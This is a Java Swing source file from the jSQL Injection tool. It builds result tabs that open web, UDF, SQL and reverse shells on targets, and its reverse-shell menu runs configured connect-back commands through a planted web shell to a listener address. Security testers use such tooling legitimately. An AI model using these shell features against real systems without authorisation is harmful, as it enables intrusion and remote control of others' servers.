View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    *
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   *******************************************************************************/
11  package com.jsql.view.swing.tab;
12  
13  import com.formdev.flatlaf.extras.FlatSVGIcon;
14  import com.jsql.model.bean.database.AbstractElementDatabase;
15  import com.jsql.util.I18nUtil;
16  import com.jsql.util.LogLevelUtil;
17  import com.jsql.util.StringUtil;
18  import com.jsql.util.ThreadUtil;
19  import com.jsql.util.reverse.ModelReverse;
20  import com.jsql.view.swing.action.ActionCloseTabResult;
21  import com.jsql.view.swing.action.HotkeyUtil;
22  import com.jsql.view.swing.popupmenu.JPopupMenuText;
23  import com.jsql.view.swing.tab.dnd.DnDTabbedPane;
24  import com.jsql.view.swing.tab.dnd.TabTransferHandler;
25  import com.jsql.view.swing.table.PanelTable;
26  import com.jsql.view.swing.terminal.AbstractExploit;
27  import com.jsql.view.swing.terminal.ExploitReverseShell;
28  import com.jsql.view.swing.text.JPopupTextArea;
29  import com.jsql.view.swing.text.JTextFieldPlaceholder;
30  import com.jsql.view.swing.util.*;
31  import org.apache.commons.lang3.StringUtils;
32  import org.apache.logging.log4j.LogManager;
33  import org.apache.logging.log4j.Logger;
34  import org.jsoup.Jsoup;
35  import org.jsoup.safety.Safelist;
36  
37  import javax.swing.*;
38  import javax.swing.event.HyperlinkEvent;
39  import javax.swing.text.DefaultEditorKit;
40  import java.awt.*;
41  import java.awt.datatransfer.StringSelection;
42  import java.awt.event.*;
43  import java.io.IOException;
44  import java.net.MalformedURLException;
45  import java.net.URISyntaxException;
46  import java.util.Arrays;
47  import java.util.EmptyStackException;
48  import java.util.List;
49  import java.util.UUID;
50  import java.util.function.BiConsumer;
51  import java.util.function.IntConsumer;
52  
53  /**
54   * TabbedPane containing result injection panels.
55   */
56  public class TabResults extends DnDTabbedPane {
57  
58      private static final Logger LOGGER = LogManager.getRootLogger();
59  
60      public static final String TAB_EXPLOIT_FAILURE_INCORRECT_URL = "Tab exploit failure: incorrect URL";
61      public static final String UDF_SHELL = "UDF shell";
62      public static final String SQL_SHELL = "SQL shell";
63      public static final String REVERSE_SHELL = "Reverse shell";
64      public static final String WEB_SHELL = "webShell";
65      public static final String TAB_RESULTS = "tabResults";
66  
67      /**
68       * Create the panel containing injection results.
69       */
70      public TabResults() {
71          this.setName(TabResults.TAB_RESULTS);
72          this.setTabLayoutPolicy(JTabbedPane.SCROLL_TAB_LAYOUT);
73          this.setTransferHandler(new TabTransferHandler());
74          this.putClientProperty("JTabbedPane.tabClosable", true);
75          this.putClientProperty("JTabbedPane.tabCloseCallback", (IntConsumer) ActionCloseTabResult::perform);
76          UIManager.put("TabbedPane.closeHoverForeground", LogLevelUtil.COLOR_RED);
77          HotkeyUtil.addShortcut(this);  // Add hotkeys to root-pane ctrl-tab, ctrl-shift-tab, ctrl-w
78          this.addMouseWheelListener(new TabbedPaneMouseWheelListener());
79          MediatorHelper.register(this);
80      }
81  
82      public void addFileTab(String label, String content, String path) {
83          MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
84              JTextArea fileText = new JPopupTextArea().getProxy();
85              fileText.setText(content);
86              fileText.setFont(new Font(UiUtil.FONT_NAME_MONO_NON_ASIAN, Font.PLAIN, 14));
87              fileText.setCaretPosition(0);
88              this.addTextTab(label, path, fileText, UiUtil.DOWNLOAD.getIcon());
89              MediatorHelper.tabManagersCards().addToLists(path, label);
90          });
91      }
92  
93      public void addAdminTab(String urlSuccess) {
94          MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
95              String htmlSource = StringUtils.EMPTY;
96  
97              // Fix #4081: SocketTimeoutException on get()
98              // Fix #44642: NoClassDefFoundError on get()
99              // Fix #44641: ExceptionInInitializerError on get()
100             try {
101                 // Previous test for 2xx Success and 3xx Redirection was Header only,
102                 // now get the HTML content.
103                 // Proxy is used by jsoup
104                 htmlSource = Jsoup.clean(
105                     Jsoup.connect(urlSuccess)
106                         // Prevent exception on UnsupportedMimeTypeException: Unhandled content type. Must be text/*, application/xml, or application/*+xml
107                         .ignoreContentType(true)
108                         // Prevent exception on HTTP errors
109                         .ignoreHttpErrors(true)
110                         .get()
111                         .html()
112                         .replaceAll("<img[^>]*>", StringUtils.EMPTY)
113                         .replaceAll("<input[^>]+type=\"?hidden[^>]+>", StringUtils.EMPTY)
114                         .replaceAll("<input[^>]+type=\"?(submit|button)[^>]+>", "<div style=\"background-color:#eeeeee;text-align:center;border:1px solid black;width:100px;\">button</div>")
115                         .replaceAll("<input[^>]*>", "<div style=\"text-align:center;border:1px solid black;width:100px;\">input</div>"),
116                     Safelist.relaxed()
117                         .addTags("center", "div", "span")
118                         .addAttributes(":all", "style")
119                 );
120             } catch (IOException e) {
121                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure opening page: {}", e.getMessage());
122             } catch (ExceptionInInitializerError | NoClassDefFoundError e) {
123                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
124             }
125 
126             final var browser = new JTextPane();
127             browser.setContentType("text/html");
128             browser.setEditable(false);
129             browser.setCaretPosition(0);
130 
131             // Fix #43220: EmptyStackException on setText()
132             // Fix #94242: IndexOutOfBoundsException on setText()
133             try {
134                 browser.setText(htmlSource);
135             } catch (IndexOutOfBoundsException | EmptyStackException e) {
136                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
137             }
138 
139             JMenuItem itemCopyUrl = new JMenuItem(I18nUtil.valueByKey("CONTEXT_MENU_COPY_PAGE_URL"));
140             I18nViewUtil.addComponentForKey("CONTEXT_MENU_COPY_PAGE_URL", itemCopyUrl);
141 
142             JMenuItem itemCopy = new JMenuItem();
143             itemCopy.setAction(browser.getActionMap().get(DefaultEditorKit.copyAction));
144             itemCopy.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_C, InputEvent.CTRL_DOWN_MASK));
145             itemCopy.setMnemonic('C');
146             itemCopy.setText(I18nUtil.valueByKey("CONTEXT_MENU_COPY"));
147             I18nViewUtil.addComponentForKey("CONTEXT_MENU_COPY", itemCopy);
148 
149             JMenuItem itemSelectAll = new JMenuItem();
150             itemSelectAll.setAction(browser.getActionMap().get(DefaultEditorKit.selectAllAction));
151             itemSelectAll.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_A, InputEvent.CTRL_DOWN_MASK));
152             itemSelectAll.setText(I18nUtil.valueByKey("CONTEXT_MENU_SELECT_ALL"));
153             I18nViewUtil.addComponentForKey("CONTEXT_MENU_SELECT_ALL", itemSelectAll);
154             itemSelectAll.setMnemonic('A');
155 
156             final var menu = new JPopupMenu();
157             menu.add(itemCopyUrl);
158             menu.add(new JSeparator());
159             menu.add(itemCopy);
160             menu.add(itemSelectAll);
161             menu.applyComponentOrientation(ComponentOrientation.getOrientation(I18nUtil.getCurrentLocale()));
162 
163             itemCopyUrl.addActionListener(actionEvent -> {
164                 var stringSelection = new StringSelection(urlSuccess);
165                 var clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
166                 clipboard.setContents(stringSelection, null);
167             });
168 
169             itemSelectAll.addActionListener(actionEvent -> browser.selectAll());
170 
171             browser.addFocusListener(new FocusAdapter() {
172                 @Override
173                 public void focusGained(FocusEvent focusEvent) {
174                 browser.getCaret().setVisible(true);
175                 browser.getCaret().setSelectionVisible(true);
176                 }
177             });
178             browser.addMouseListener(new BrowserMouseAdapter(browser, menu));
179 
180             final var scroller = new JScrollPane(browser);
181             MediatorHelper.tabResults().addTab(urlSuccess.replaceAll(".+/", StringUtils.EMPTY) + StringUtils.SPACE, scroller);
182             // Fix #96175: ArrayIndexOutOfBoundsException on setSelectedComponent()
183             // Fix #96398: IllegalArgumentException on setSelectedComponent()
184             try {
185                 MediatorHelper.tabResults().setSelectedComponent(scroller);  // Focus on the new tab
186             } catch (ArrayIndexOutOfBoundsException | IllegalArgumentException e) {
187                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
188             }
189             MediatorHelper.tabResults().setToolTipTextAt(
190                 MediatorHelper.tabResults().indexOfComponent(scroller),
191                 String.format("<html>%s</html>", urlSuccess)
192             );
193 
194             // Create a custom tab header
195             var header = new TabHeader(
196                 urlSuccess.replaceAll(".+/", StringUtils.EMPTY),
197                 UiUtil.ADMIN.getIcon()
198             );
199             MediatorHelper.tabResults().setTabComponentAt(MediatorHelper.tabResults().indexOfComponent(scroller), header);  // Apply the custom header to the tab
200             browser.setCaretPosition(0);
201 
202             MediatorHelper.tabResults().updateUI();  // required: light, open/close prefs, dark => light artifacts
203         });
204     }
205 
206     public void addReportTab(String content) {
207         MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
208             JEditorPane editorPane = new JEditorPane();
209             editorPane.setContentType("text/html");
210             editorPane.setText("<html><span style=\"white-space: nowrap; font-family:'"+ UiUtil.FONT_NAME_MONO_NON_ASIAN +"'\">" + content + "</span></html>");
211             editorPane.setFont(UIManager.getFont("TextArea.font"));  // required to increase text size
212             editorPane.setDragEnabled(true);
213             editorPane.setEditable(false);
214             editorPane.setCaretPosition(0);
215             editorPane.getCaret().setBlinkRate(0);
216             editorPane.setCursor(Cursor.getPredefinedCursor(Cursor.TEXT_CURSOR));
217             editorPane.setComponentPopupMenu(new JPopupMenuText(editorPane));
218             editorPane.addHyperlinkListener(linkEvent -> {
219                 if (HyperlinkEvent.EventType.ACTIVATED.equals(linkEvent.getEventType())) {
220                     try {
221                         Desktop.getDesktop().browse(linkEvent.getURL().toURI());
222                     } catch (IOException | URISyntaxException | UnsupportedOperationException e) {
223                         LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Browsing to URL failed", e);
224                     }
225                 }
226             });
227             editorPane.addFocusListener(new FocusAdapter() {
228                 @Override
229                 public void focusGained(FocusEvent focusEvent) {
230                 editorPane.getCaret().setVisible(true);
231                 editorPane.getCaret().setSelectionVisible(true);
232                 editorPane.getCaret().setBlinkRate(0);
233                 }
234             });
235             UiUtil.init(editorPane);  // silent delete
236 
237             this.addTextTab("Vulnerability report", "Analysis report with all payloads detected", editorPane, UiUtil.APP_ICON.getIcon());
238         });
239     }
240 
241     public void addTextTab(String label, String toolTipText, JComponent componentText, FlatSVGIcon icon) {
242         var scroller = new JScrollPane(componentText);
243         this.addTab(label + StringUtils.SPACE, scroller);
244         this.setSelectedComponent(scroller);  // Focus on the new tab
245         this.setToolTipTextAt(this.indexOfComponent(scroller), toolTipText);
246         var header = new TabHeader(label, icon);
247         this.setTabComponentAt(this.indexOfComponent(scroller), header);
248 
249         this.updateUI();  // required: light, open/close prefs, dark => light artifacts
250     }
251 
252     public void addTabExploitWeb(String url) {
253         MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
254             try {
255                 var terminalID = UUID.randomUUID();
256                 var terminal = new AbstractExploit(terminalID, url, "web") {
257                     @Override
258                     public void action(String command, UUID terminalID, String urlShell, String... arg) {
259                         MediatorHelper.model().getResourceAccess().runWebShell(command, terminalID, urlShell);
260                     }
261                 };
262                 terminal.setName(TabResults.WEB_SHELL);
263                 MediatorHelper.frame().getMapUuidShell().put(terminalID, terminal);
264 
265                 JPanel panelTerminalWithReverse = this.getTerminalWithMenu(terminal);
266                 this.addTab("Web shell", panelTerminalWithReverse);
267                 this.setSelectedComponent(panelTerminalWithReverse);  // Focus on the new tab
268 
269                 var header = new TabHeader("Web shell", UiUtil.TERMINAL.getIcon());
270                 this.setTabComponentAt(this.indexOfComponent(panelTerminalWithReverse), header);
271                 terminal.requestFocusInWindow();
272 
273                 this.updateUI();  // required: light, open/close prefs, dark => light artifacts
274             } catch (MalformedURLException | URISyntaxException e) {
275                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, TabResults.TAB_EXPLOIT_FAILURE_INCORRECT_URL, e);
276             }
277         });
278     }
279 
280     public void addTabExploitReverseShell(String port) {
281         MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
282             try {
283                 var terminalID = UUID.randomUUID();
284                 var terminal = new ExploitReverseShell(terminalID, port);
285                 MediatorHelper.frame().getMapUuidShell().put(terminalID, terminal);
286 
287                 JScrollPane scroller = new JScrollPane(terminal);
288                 this.addTab(TabResults.REVERSE_SHELL, scroller);
289                 this.setSelectedComponent(scroller);  // Focus on the new tab
290 
291                 var header = new TabHeader(TabResults.REVERSE_SHELL, UiUtil.TERMINAL.getIcon());
292                 this.setTabComponentAt(this.indexOfComponent(scroller), header);
293                 terminal.requestFocusInWindow();
294 
295                 this.updateUI();  // required: light, open/close prefs, dark => light artifacts
296             } catch (URISyntaxException | IOException e) {
297                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, TabResults.TAB_EXPLOIT_FAILURE_INCORRECT_URL, e);
298             }
299         });
300     }
301 
302     public void addTabExploitUdf(BiConsumer<String, UUID> biConsumerRunCmd) {
303         MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
304             try {
305                 var terminalID = UUID.randomUUID();
306                 var terminal = new AbstractExploit(terminalID, null, "udf") {
307                     @Override
308                     public void action(String command, UUID terminalID, String urlShell, String... arg) {
309                         biConsumerRunCmd.accept(command, terminalID);
310                     }
311                 };
312                 MediatorHelper.frame().getMapUuidShell().put(terminalID, terminal);
313 
314                 JPanel panelTerminalWithReverse = this.getTerminalWithMenu(terminal);
315                 this.addTab(TabResults.UDF_SHELL, panelTerminalWithReverse);
316                 this.setSelectedComponent(panelTerminalWithReverse);  // Focus on the new tab
317 
318                 var header = new TabHeader(TabResults.UDF_SHELL, UiUtil.TERMINAL.getIcon());
319                 this.setTabComponentAt(this.indexOfComponent(panelTerminalWithReverse), header);
320                 terminal.requestFocusInWindow();
321 
322                 this.updateUI();  // required: light, open/close prefs, dark => light artifacts
323             } catch (MalformedURLException | URISyntaxException e) {
324                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, TabResults.TAB_EXPLOIT_FAILURE_INCORRECT_URL, e);
325             }
326         });
327     }
328 
329     public void addTabExploitSql(String url, String user, String pass) {
330         MediatorHelper.frame().getSplitNS().invokeLaterWithSplitOrientation(() -> {
331             try {
332                 var terminalID = UUID.randomUUID();
333                 var terminal = new AbstractExploit(terminalID, url, "sql") {
334                     @Override
335                     public void action(String cmd, UUID terminalID, String wbhPath, String... arg) {
336                         MediatorHelper.model().getResourceAccess().runSqlShell(cmd, terminalID, wbhPath, arg[0], arg[1]);
337                     }
338                 };
339                 terminal.setLoginPassword(new String[]{ user, pass });
340                 MediatorHelper.frame().getMapUuidShell().put(terminalID, terminal);
341 
342                 JScrollPane scroller = new JScrollPane(terminal);
343                 this.addTab(TabResults.SQL_SHELL, scroller);
344                 this.setSelectedComponent(scroller);  // Focus on the new tab
345 
346                 var header = new TabHeader(TabResults.SQL_SHELL, UiUtil.TERMINAL.getIcon());
347                 this.setTabComponentAt(this.indexOfComponent(scroller), header);
348                 terminal.requestFocusInWindow();
349 
350                 this.updateUI();  // required: light, open/close prefs, dark => light artifacts
351             } catch (MalformedURLException | URISyntaxException e) {
352                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, TabResults.TAB_EXPLOIT_FAILURE_INCORRECT_URL, e);
353             }
354         });
355     }
356     
357     public void addTabValues(String[][] data, String[] columnNames, AbstractElementDatabase table) {
358         var panelTable = new PanelTable(data, columnNames);
359         
360         this.addTab(StringUtil.detectUtf8(table.toString()), panelTable);
361         panelTable.setComponentOrientation(ComponentOrientation.getOrientation(I18nUtil.getCurrentLocale()));
362         
363         this.setSelectedComponent(panelTable);  // Focus on the new tab
364 
365         var header = new TabHeader(UiStringUtil.detectUtf8Html(table.toString()), UiUtil.TABLE_BOLD.getIcon());
366         this.setTabComponentAt(this.indexOfComponent(panelTable), header);
367 
368         this.updateUI();  // required: light, open/close prefs, dark => light artifacts
369     }
370 
371     private JPanel getTerminalWithMenu(AbstractExploit terminal) {
372         JPanel panelTerminalWithReverse = new JPanel() {
373             @Override
374             public boolean isOptimizedDrawingEnabled() {
375                 return false;  // both components always visible
376             }
377         };
378         OverlayLayout overlay = new OverlayLayout(panelTerminalWithReverse);
379         panelTerminalWithReverse.setLayout(overlay);
380 
381         var panelReverseMargin = new JPanel();
382         panelReverseMargin.setLayout(new BoxLayout(panelReverseMargin, BoxLayout.LINE_AXIS));
383         panelReverseMargin.setOpaque(false);
384         panelReverseMargin.setBorder(BorderFactory.createEmptyBorder(10, 0, 0, 15));
385 
386         var menuReverse = new JLabel(TabResults.REVERSE_SHELL, UiUtil.ARROW_DOWN.getIcon(), SwingConstants.LEFT);
387         menuReverse.setName(TabResults.REVERSE_SHELL);
388         menuReverse.addMouseListener(new MouseAdapter() {
389             @Override
390             public void mousePressed(MouseEvent e) {
391                 var popupMenu = TabResults.this.showMenu(terminal);
392                 popupMenu.updateUI();  // required: incorrect when dark/light mode switch
393                 popupMenu.show(e.getComponent(), e.getComponent().getX(),5 + e.getComponent().getY() + e.getComponent().getHeight());
394                 popupMenu.setLocation(e.getComponent().getLocationOnScreen().x,5 + e.getComponent().getLocationOnScreen().y + e.getComponent().getHeight());
395             }
396         });
397         menuReverse.setMaximumSize(menuReverse.getPreferredSize());
398         JScrollPane scrollerTerminal = new JScrollPane(terminal);
399         scrollerTerminal.setAlignmentX(1f);
400         scrollerTerminal.setAlignmentY(0f);
401         panelReverseMargin.setAlignmentX(1f);
402         panelReverseMargin.setAlignmentY(0f);
403         panelReverseMargin.add(menuReverse);
404         panelTerminalWithReverse.add(panelReverseMargin);
405         panelTerminalWithReverse.add(scrollerTerminal);
406 
407         return panelTerminalWithReverse;
408     }
409 
410     private JPopupMenu showMenu(AbstractExploit terminal) {
411         JPopupMenu menuReverse = new JPopupMenu();
412 
413         var menuListen = new JMenu("Listen");
414         menuListen.setComponentOrientation(
415             ComponentOrientation.RIGHT_TO_LEFT.equals(ComponentOrientation.getOrientation(I18nUtil.getCurrentLocale()))
416             ? ComponentOrientation.LEFT_TO_RIGHT
417             : ComponentOrientation.RIGHT_TO_LEFT
418         );
419         var panelPublicAddress = new JPanel(new BorderLayout());
420         panelPublicAddress.add(new JLabel("<html><b>Your public address (listener) :</b></html>"));
421         menuListen.add(panelPublicAddress);
422         menuListen.add(new JSeparator());
423         var address = new JTextFieldPlaceholder("Local IP/domain", "10.0.2.2");
424         menuListen.add(address);
425         var port = new JTextFieldPlaceholder("Local port", "4444");
426         menuListen.add(port);
427 
428         var panelServerConnection = new JPanel(new BorderLayout());
429         panelServerConnection.add(new JLabel("<html><b>Server method (connector) :</b></html>"));
430         menuListen.add(panelServerConnection);
431         menuListen.add(new JSeparator());
432         var buttonGroup = new ButtonGroup();
433         List<ModelReverse> commandsReverse = MediatorHelper.model().getMediatorUtils().preferencesUtil().getCommandsReverse();
434         commandsReverse.forEach(modelReverse -> {
435             var radio = new RadioItemNonClosing(modelReverse.getName());
436             radio.setActionCommand(modelReverse.getName());
437             radio.setSelected("bash".equals(modelReverse.getName()));
438             buttonGroup.add(radio);
439             menuListen.add(radio);
440         });
441 
442         Runnable runnableReverse = () -> {
443             ThreadUtil.sleep(2500);
444             MediatorHelper.model().getMediatorUtils().preferencesUtil().getCommandsReverse().stream()
445             .filter(modelReverse -> modelReverse.getName().equals(buttonGroup.getSelection().getActionCommand()))
446             .findFirst()
447             .ifPresent(modelReverse -> MediatorHelper.model().getResourceAccess().runWebShell(
448                 String.format(modelReverse.getCommand(), address.getText(), port.getText()),
449                 null,  // ignore connection response
450                 terminal.getUrlShell(),
451                 true
452             ));
453         };
454 
455         var panelOpenIn = new JPanel(new BorderLayout());
456         panelOpenIn.add(new JLabel("<html><b>Open In :</b></html>"));
457         menuListen.add(panelOpenIn);
458         menuListen.add(new JSeparator());
459 
460         var menuBuiltInShell = new RadioItemNonClosing("Built-in shell", true);
461         var menuExternalShell = new RadioItemNonClosing("External listening shell");
462         var buttonTypeShell = new ButtonGroup();
463         buttonTypeShell.add(menuBuiltInShell);
464         buttonTypeShell.add(menuExternalShell);
465         menuListen.add(menuBuiltInShell);
466         menuListen.add(menuExternalShell);
467         menuListen.add(new JSeparator());
468         var panelCreate = new JPanel(new BorderLayout());
469         panelCreate.add(new JButton(new AbstractAction("Create reverse shell") {
470             @Override
471             public void actionPerformed(ActionEvent e) {
472                 if (menuBuiltInShell.isSelected()) {
473                     MediatorHelper.tabResults().addTabExploitReverseShell(port.getText());
474                 }
475                 new Thread(runnableReverse).start();
476                 menuReverse.setVisible(false);
477             }
478         }));
479         menuListen.add(panelCreate);
480 
481         var menuConnect = new JMenu("Connect");
482         menuConnect.setComponentOrientation(
483             ComponentOrientation.RIGHT_TO_LEFT.equals(ComponentOrientation.getOrientation(I18nUtil.getCurrentLocale()))
484             ? ComponentOrientation.LEFT_TO_RIGHT
485             : ComponentOrientation.RIGHT_TO_LEFT
486         );
487         var panelServerPublicAddress = new JPanel(new BorderLayout());
488         panelServerPublicAddress.add(new JLabel("<html><b>Server public address (listener) :</b></html>"));
489         menuConnect.add(panelServerPublicAddress);
490         menuConnect.add(new JSeparator());
491         menuConnect.add(new JTextFieldPlaceholder("Target IP/domain"));
492         menuConnect.add(new JTextFieldPlaceholder("Target port"));
493         menuConnect.add(new JSeparator());
494 
495         var panelServerListeningConnection = new JPanel(new BorderLayout());
496         panelServerListeningConnection.add(new JLabel("<html><b>Server listening method :</b></html>"));
497         menuConnect.add(panelServerListeningConnection);
498         var buttonGroupListening = new ButtonGroup();
499         List.of("netcat").forEach(method -> {
500             var radio = new JRadioButtonMenuItem(method) {
501                 @Override
502                 protected void processMouseEvent(MouseEvent evt) {
503                     if (evt.getID() == MouseEvent.MOUSE_RELEASED && this.contains(evt.getPoint())) {
504                         this.doClick();
505                         this.setArmed(true);
506                     } else {
507                         super.processMouseEvent(evt);
508                     }
509                 }
510             };
511             radio.setSelected("netcat".equals(method));
512             buttonGroupListening.add(radio);
513             menuConnect.add(radio);
514         });
515         menuConnect.add(new JSeparator());
516         menuConnect.add(new JMenuItem("Create"));
517 
518         menuReverse.add(menuListen);
519         menuReverse.add(menuConnect);
520         return menuReverse;
521     }
522 
523     private static class BrowserMouseAdapter extends MouseAdapter {
524         private final JTextPane browser;
525         private final JPopupMenu menu;
526 
527         public BrowserMouseAdapter(JTextPane browser, JPopupMenu menu) {
528             this.browser = browser;
529             this.menu = menu;
530         }
531 
532         @Override
533         public void mousePressed(MouseEvent evt) {
534             this.browser.requestFocusInWindow();
535             if (evt.isPopupTrigger()) {
536                 this.menu.show(evt.getComponent(), evt.getX(), evt.getY());
537             }
538         }
539 
540         @Override
541         public void mouseReleased(MouseEvent evt) {
542             if (evt.isPopupTrigger()) {
543                 Arrays.stream(this.menu.getComponents()).map(a -> (JComponent) a).forEach(JComponent::updateUI);  // required: incorrect when dark/light mode switch
544                 this.menu.updateUI();  // required: incorrect when dark/light mode switch
545                 // Fix #45348: IllegalComponentStateException on show()
546                 try {
547                     this.menu.show(evt.getComponent(), evt.getX(), evt.getY());
548                 } catch (IllegalComponentStateException e) {
549                     LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
550                 }
551                 this.menu.setLocation(
552                     ComponentOrientation.RIGHT_TO_LEFT.equals(ComponentOrientation.getOrientation(I18nUtil.getCurrentLocale()))
553                     ? evt.getXOnScreen() - this.menu.getWidth()
554                     : evt.getXOnScreen(),
555                     evt.getYOnScreen()
556                 );
557             }
558         }
559     }
560 }